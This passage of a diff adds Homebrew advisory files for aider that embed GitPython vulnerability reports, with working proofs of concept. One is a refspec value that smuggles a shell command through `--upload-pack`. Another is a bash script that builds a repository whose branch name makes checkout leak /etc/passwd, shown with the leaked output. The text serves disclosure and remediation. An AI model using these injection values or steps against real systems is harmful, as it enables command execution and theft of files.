"pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.47.1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.46" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.46", + "key": "pkg:pypi/gitpython@3.1.46", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution", + "details": "## Summary\n\n`Remote.pull()` in GitPython forwards its positional `refspec` argument directly to the `git pull` child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the `refspec` (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as `--upload-pack=`. The value bypasses the `unsafe_git_pull_options` check, is placed after the `--` separator on the `git pull` command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (`allow_unsafe_options=False`).\n\n## Root Cause\n\n`Remote.pull()` is documented to reject dangerous options unless `allow_unsafe_options=True`, and `--upload-pack` is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional `refspec`. The check builds its candidate list with `Git._option_candidates([], kwargs)`, passing an empty list in place of the positionals, so the `refspec` value is never compared against `unsafe_git_pull_options = [\"--upload-pack\"]`. The normalized `refspec` is then forwarded verbatim to the `git pull` invocation. The leading `--` separator that neutralizes an option-shaped refspec for `git fetch` and `git push` does not protect `git pull`, because `git pull` re-forwards its trailing positionals to an internal `git fetch` without re-inserting a `--` separator, so the positional becomes an option to that internal fetch.\n\n```text\nAffected function: git.remote.Remote.pull\nSource: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull(\"--\", self, refspec, ...) invocation)\n```\n\n## Impact\n\nAn attacker who controls the `refspec` value passed to `Remote.pull()` achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the `--upload-pack` value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.\n\n## Proof of Concept\n\n```text\nEnvironment: GitPython from the affected source tree; system git 2.43.0.\nThe pulled origin uses a local filesystem transport (protocol.file.allow=always for git >= 2.38).\n```\n\nReproduction steps:\n\n1. Create an origin repository reachable over a local-path transport.\n2. In a consumer repository, register that origin and call `Remote.pull()` with an attacker-controlled refspec.\n3. Observe that the injected command executes.\n\n```python\nimport git\nrepo = git.Repo(\"consumer\") # has an origin using a local-path or ssh transport\norigin = repo.remote(\"origin\")\n# Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):\norigin.pull(refspec=\"--upload-pack=touch /tmp/pwned; git-upload-pack\")\n```\n\n```text\ncmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack\n[attack] marker created (RCE) : True\n[isolate] upload_pack passed as KWARG blocked : True (only the positional refspec escapes)\n[sibling] same value via git fetch : safe (pull-specific behavior)\n[control] benign refspec : safe\n```\n\n## Attack Chain\n\n1. **Exposure:** An application calls `Remote.pull(refspec=)` on the default path, where `` is derived from attacker-influenced input such as a branch or refspec request parameter.\n2. **Control:** The attacker supplies the string `--upload-pack=; git-upload-pack`. The value passes through `Git._unpack_args`, which only flattens and stringifies it, preserving the option shape.\n3. **Path:** The protocol loop calls `Git.check_unsafe_protocols` on the value, which only matches remote-helper transport URLs (a `::` form) and does not flag an `--upload-pack=` token.\n4. **Guard:** The unsafe-option guard calls `check_unsafe_options(options=Git._option_candidates([], kwargs), ...)`. Because positionals are passed as an empty list, the positional `refspec` is never inspected against `unsafe_git_pull_options`.\n5. **Primitive:** The value is forwarded to `git pull -v -- --upload-pack=; git-upload-pack`; `git pull` re-forwards the positional to an internal `git fetch` without a `--` separator, so it is honored as the upload-pack program.\n6. **Result:** For a local-path or SSH transport, git executes `` as the upload-pack program, giving arbitrary command execution as the calling process user.\n\n## Bypass Evidence\n\nThe relevant guard is `Remote.pull()`'s own `check_unsafe_options` call, present in the current released artifact. It is incomplete: it inspects `Git._option_candidates([], kwargs)`, which only considers keyword arguments, so the positional `refspec` is never checked. This was confirmed empirically: passing the identical value as the `upload_pack=` keyword argument raises `UnsafeOptionError`, while passing it as the positional `refspec` does not, proving that only the positional escapes the guard.\n\nThe `--` separator on the `git pull` command line was tested as a possible mitigation and refuted: with system git 2.43.0, `git pull -- '--upload-pack='` executed the injected command, while the identical value supplied to `git fetch -- ...` and `git push -- ...` did not execute, because those subcommands honor the `--` terminator whereas `git pull` re-forwards positionals to an internal fetch without one. The `check_unsafe_protocols` transport check was also examined and does not flag the `--upload-pack=` token because it has no `::` form. No prior published advisory for this package addresses `Remote.pull`, the fetch or pull refspec positional, or `--upload-pack` injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: GitPython`\n- `Confirmed affected range: >= 3.1.30`\n- `Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag`\n- `Fix status: not fixed in any released version or on the development branch`\n\nThe keyword-only pull guard together with the positional `refspec` sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped `git/remote.py` in each tagged artifact. Version 3.1.30 introduced the `unsafe_git_pull_options` guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the `refspec` positionally with no unsafe-option guard and no `--` separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.\n\n## Suggested Fix\n\nEnforce the unsafe-option invariant on the positional `refspec`, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into `Git._option_candidates` alongside `kwargs`) so that an option-shaped `refspec` such as `--upload-pack=...` is rejected with `UnsafeOptionError` unless `allow_unsafe_options=True`. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with `-`, avoid passing untrusted data as the `refspec`, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.\n\nReported by zx (GitHub: @manus-pi).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2247" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-110859.json b/advisories/BREW-aider-CVE-2026-110859.json new file mode 100644 index 00000000000..f0e76668a0d --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-110859.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-110859", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-23mf-xhv8-69c2", + "CVE-2026-110859" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.47.1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.46" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.46", + "key": "pkg:pypi/gitpython@3.1.46", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)", + "details": "> **A note on the referenced files.** This report was submitted through GitHub's private\n> vulnerability reporting API, which carries no attachments. Every transcript this report leans\n> on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n> per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n> evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n> to send the bundle by any channel you prefer, or to open a private fork — just say which. The\n> PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `<= 3.1.62` — all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing — the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument — the branch name — which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *\"Arbitrary file read via `--pathspec-from-file` in\n `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n the guard to this exact method — but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *\"`TagReference.create` positional reference\n bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` —\n but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n> \"The audit also found that **reset's positional commit could carry the option before its argument\n> separator**. […] **Check reset's positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`<= 3.1.62`** — all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 — `Git._option_candidates([], kwargs)` |\n| Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:\n \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n options = [\n option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` — `Head.checkout()` has neither:\n\n```python\n if not allow_unsafe_options:\n Git.check_unsafe_options(\n options=Git._option_candidates([], kwargs),\n unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n )\n kwargs[\"f\"] = force\n if kwargs[\"f\"] is False:\n kwargs.pop(\"f\")\n\n self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals — which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0 stderr=''\n => un refname que empieza con '-' y lleva '/' es VALIDO para git\n\n>>> git -C update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099\n exit=0 stderr=''\n>>> git -C symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0\n HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n ref en disco como arbol jerarquico: True\n\n>>> Repo.clone_from('file://', ) # la app solo clona\n ramas LOCALES creadas por el clone, sin que nadie las pida:\n refs/heads/--pathspec-from-file=/etc/passwd\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it — the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server —\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n self.stderr = stderr_decode and \"\\n stderr: '%s'\" % stderr_decode or \"\"\n\n def __str__(self) -> str:\n return (self._msg + \"\\n cmdline: %s%s%s\") % (\n self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from()\n ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n ↓ git clone creates that LOCAL branch unasked\nrepo.active_branch → Head with name = \"--pathspec-from-file=/etc/passwd\"\n ↓\nHead.checkout() git/refs/head.py:286 — guard inspects kwargs only\n ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n ↓ git emits one `error:` per unmatched pathspec — one per line of the file\nGitCommandError → CommandError.__str__ → the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x > \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n\ncat > \"$W/consumer.py\" <<'PYEOF'\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL\n repo.active_branch.checkout() # ensure a clean working tree\nexcept git.exc.GitCommandError:\n logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command GitPython actually built — the branch name became an option:\n\n```\n argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git\nerror: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git\nerror: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd (34 lineas no vacias)\n[CASO] repo.active_branch.checkout() — nadie paso un nombre de rama\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication's process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways —\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n single argv token; `git` rejects the abbreviated forms. This was established while developing the\n payload and is **not** part of the attached run — the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n— the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option — so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed.\n\n**Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK]\n Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options — but it **changes the semantics and\nbreaks the method**: in `git checkout -- `, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed —\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path\n (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only\n guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for \"a value placed before the `--` with no\n leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs.\n Different sink (filesystem path construction) and different impact (write and delete), but it\n establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project's own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` — the **positional** is tested (lines 304-308).\n- `Head.checkout` — only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with\n`refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver — runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2233" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-110860.json b/advisories/BREW-aider-CVE-2026-110860.json new file mode 100644 index 00000000000..61a08b21c78 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-110860.json @@ -0,0 +1,75 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-110860", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-gq48-pqfc-9p58", + "CVE-2026-110860" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.47.1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.46" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.46", + "key": "pkg:pypi/gitpython@3.1.46", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree", + "details": "## Summary\n\nGitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.\n\nThe reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree.\n\nThe same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is 